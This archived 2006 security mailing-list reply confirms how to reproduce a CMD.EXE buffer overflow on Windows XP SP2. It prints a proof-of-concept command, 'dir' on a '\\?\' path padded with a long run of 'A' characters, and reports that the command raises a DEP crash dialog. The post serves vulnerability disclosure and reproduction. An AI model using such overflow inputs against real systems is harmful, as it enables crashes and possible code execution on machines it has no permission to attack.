RE: Windows Command Processor CMD.EXE Buffer Overflow

"Marvin Simkin" <[email protected]> Mon, 23 Oct 2006 08:05:29 -0700
Newsgroups gmane.comp.security.vulnerabilities
Message-ID <[email protected]>
> just for clarifying if you executed the command properly -- "\\?\" is required after dir cmd.. and not one with the single slash "\?\". to reproduce the issue in winxp sp2,

Sorry, one of the backslashes got lost somehow in copy and paste. With two backslashes it works as advertised and I get the DEP dialog.

C:\>cmd
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>%COMSPEC% /K "dir \\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

[DEP dialog here]

C:\>